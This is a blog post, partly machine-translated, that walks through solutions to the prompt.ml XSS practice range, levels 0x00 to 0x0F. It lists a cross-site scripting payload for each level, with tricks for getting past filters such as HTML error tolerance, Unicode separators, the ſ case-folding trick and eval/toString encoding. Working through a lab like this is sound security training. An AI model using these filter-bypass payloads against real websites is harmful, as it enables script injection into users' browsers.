当前位置:网站首页>XSS shooting range (3) prompt to win
XSS shooting range (3) prompt to win
2022-07-31 04:29:00 【tree lost its way】
靶场地址:prompt(1) to win - 0x0
http://prompt.ml/0
0x00
无过滤,Close double quotes and tags;
"><script>prompt(1)</script>//
0x01
替换 </ 任意字符 > 为空;
用<svg标签和HTML容错机制不写 ">" ,加空格、回车、Just note it out;
<svg onload=prompt(1)//
<img src=1 onerror="prompt(1)"
0x02
过滤了 = 和 ( ,Then don't need them;
用JS的 eval函数加 call方法,再给( unicode为 u0028即可;
或者用svg标签 加HTML编码;
<script>eval.call`${'prompt\u00281)'}`</script>
<svg><script>prompt(1)</script>
0x03
限制了 -->Let's not close;
用 --!> 闭合即可;
aaa--!>
<script>prompt(1)</script>
0x04
这里限制srcThe value of must begin with http://prompt.ml/;
可用@来重定向,但url:user:[email protected]中passwordcan't have it later / ,用%2f代替;
Write one in the server root directorytest.js,里面写个prompt(1)即可;
http://prompt.ml%[email protected]/test.js0x05
将 >、on.+?=、focus 字符替换为 _ ,所以过滤了js的autofocus事件以及 on开头的事件;
但没有过滤换行,可利用HTML容错机制,只要关键字和语法正确,不受空格和换行符影响的特性,Reclosing before and after "" 即可;
a" type=image src=1 onerror
="prompt(1)
0x06
这里构造了一个from表单,The form must be entered formURL#formDataJSONsuch as:http://httpbin.org/post#{"name":"Matt"},#分割成数组,提取formURL构造form表单,"formURL"赋值给form标签中的action,method是"post",fromData[0]值 "name"赋值给name,"Matt"赋值给value;
然后过滤document.forms[0].action中的 script和data,致使javascript:prompt()不能直接使用;
但如果将name赋值为"action",则后面的actionwill directly overwrite the first one in frontaction,即:document.form[0].action指向的就不是form标签中的action,而是name="action"中的"action",Filtering doesn't work;
javascript:prompt(1)#{"action":"Matt"}
0x07
这里定义了一个 # ,每个 #will result in a new one title的产生,每个 titleAfter shows only before12characters entered;
用 /* */去除多余部分,Escape length limit 即可;
"><script>/*#*/prompt(1/*#*/)</script>
0x08
这里将 \r\n < / " 过滤,This makes it impossible to escape single-line comments;
但 javaScript规定有5个字符,cannot appear directly in a string,只能使用转义形式,其二为:
- u+2028:行分隔符
- u+2029:段分隔符

This thing cannot be used directly,Now the console has it generate a special onepayload,然后我们复制,再配合 --> behind the keynote " 即可;
'\u2028prompt(1)\u2029-->' //Copy to console build specialpayloadCopy and use again
0x09
这里的正则匹配<a-zA-Z>,还给< 后面加上了_, 并且转大写,这几乎过滤了所有的标签;
So use a trick:有这样一个字符 ſ ,它在转大写后会变成S;
又因为html对大小写不敏感,JS对大小写敏感,所以把prompt编码为:prompt 即可;
<ſcript src=1 onerror=prompt(1)></script>
<ſvg onload=prompt(1)>
0x0A
encodeURIComponent() 函数可把字符串作为 URI 组件进行编码.
该方法不会对 ASCII 字母和数字进行编码,也不会对这些 ASCII 标点符号进行编码: - _ . ! ~ * ' ( )
其他字符(比如 :;/?:@&=+$,# 这些用于分隔 URI 组件的标点符号),都是由一个或多个十六进制的转义序列替换的.
The breaking point is ' 被替换为空,那就把 ' 插到prompt中 即可;
p'rompt(1) 
0x0B
Filtered a bunch of stuff;
The solution is not understood,哈哈;
"(prompt(1))in"
0x0C
Filter first here,后替换,所以第10The title doesn't work that way;
用 parseInt() The function parses a string and returns an integer,再用toStringDecoding can be bypassed;
关于parseint()函数的理解:关于JavaScript parseInt() 函数的理解_树迷了路的博客-CSDN博客

eval((630038579).toString(30))(1)
0x0D
未完成
0x0E
未完成
0x0F
Similar to the seventh question,But it's filtered/*,构造<!-- -->即可 ;
配合<svg>Make the annotation effective;
on this subject<svg>使用详解:http://t.csdn.cn/1P2Ik
"><svg><!--#--><script><!--#-->prompt(1<!--#-->)</script> 
边栏推荐
- LocalDate addition and subtraction operations and comparison size
- Zotero如何删除自动生成的标签
- 【wpf】wpf中的那些模板之深度解析
- interprocess communication
- STM32HAL库修改Hal_Delay为us级延时
- Component pass value provide/inject
- 【SemiDrive源码分析】【MailBox核间通信】44 - 基于Mailbox IPCC RPC 实现核间通信(RTOS侧 IPCC_RPC Server 消息接收及回复 原理分析篇)
- Vue项目通过node连接MySQL数据库并实现增删改查操作
- ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
- No qualifying bean of type question
猜你喜欢

STM32HAL库修改Hal_Delay为us级延时

Based on the local, linking the world | Schneider Electric "Industrial SI Alliance" joins hands with partners to go to the future industry

组件传值 provide/inject

How Zotero removes auto-generated tags

(四)递归、可变参数、访问修饰符、理解 main 方法、代码块

ENSP,划分VLAN、静态路由,三层交换机综合配置

高等数学---第九章二重积分

ENSP, VLAN division, static routing, comprehensive configuration of Layer 3 switches

MySQL based operations

ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)解决办法
随机推荐
BP神经网络
[AUTOSAR-RTE]-5-Explicit (explicit) and Implicit (implicit) Sender-Receiver communication
SOLVED: After accidentally uninstalling pip (two ways to manually install pip)
ClickHouse:设置远程连接
(五)final、抽象类、接口、内部类
ERROR 2003 (HY000) Can‘t connect to MySQL server on ‘localhost3306‘ (10061)
C# 实现PLC的定时器
Postgresql 15 source code analysis (5) - pg_control
数字经济时代的开源数据库创新 | 2022开放原子全球开源峰会数据库分论坛圆满召开
【SemiDrive源码分析】【MailBox核间通信】44 - 基于Mailbox IPCC RPC 实现核间通信(RTOS侧 IPCC_RPC Server 消息接收及回复 原理分析篇)
STM32HAL库修改Hal_Delay为us级延时
[Paper reading] Mastering the game of Go with deep neural networks and tree search
重磅 | 基金会为白金、黄金、白银捐赠人授牌
(6) Enumeration and annotation
Safety 20220709
errno error code and meaning (Chinese)
手把手实现图片预览插件(三)
Safety 20220722
BUG destroyer!!Practical debugging skills are super comprehensive
马斯克对话“虚拟版”马斯克,脑机交互技术离我们有多远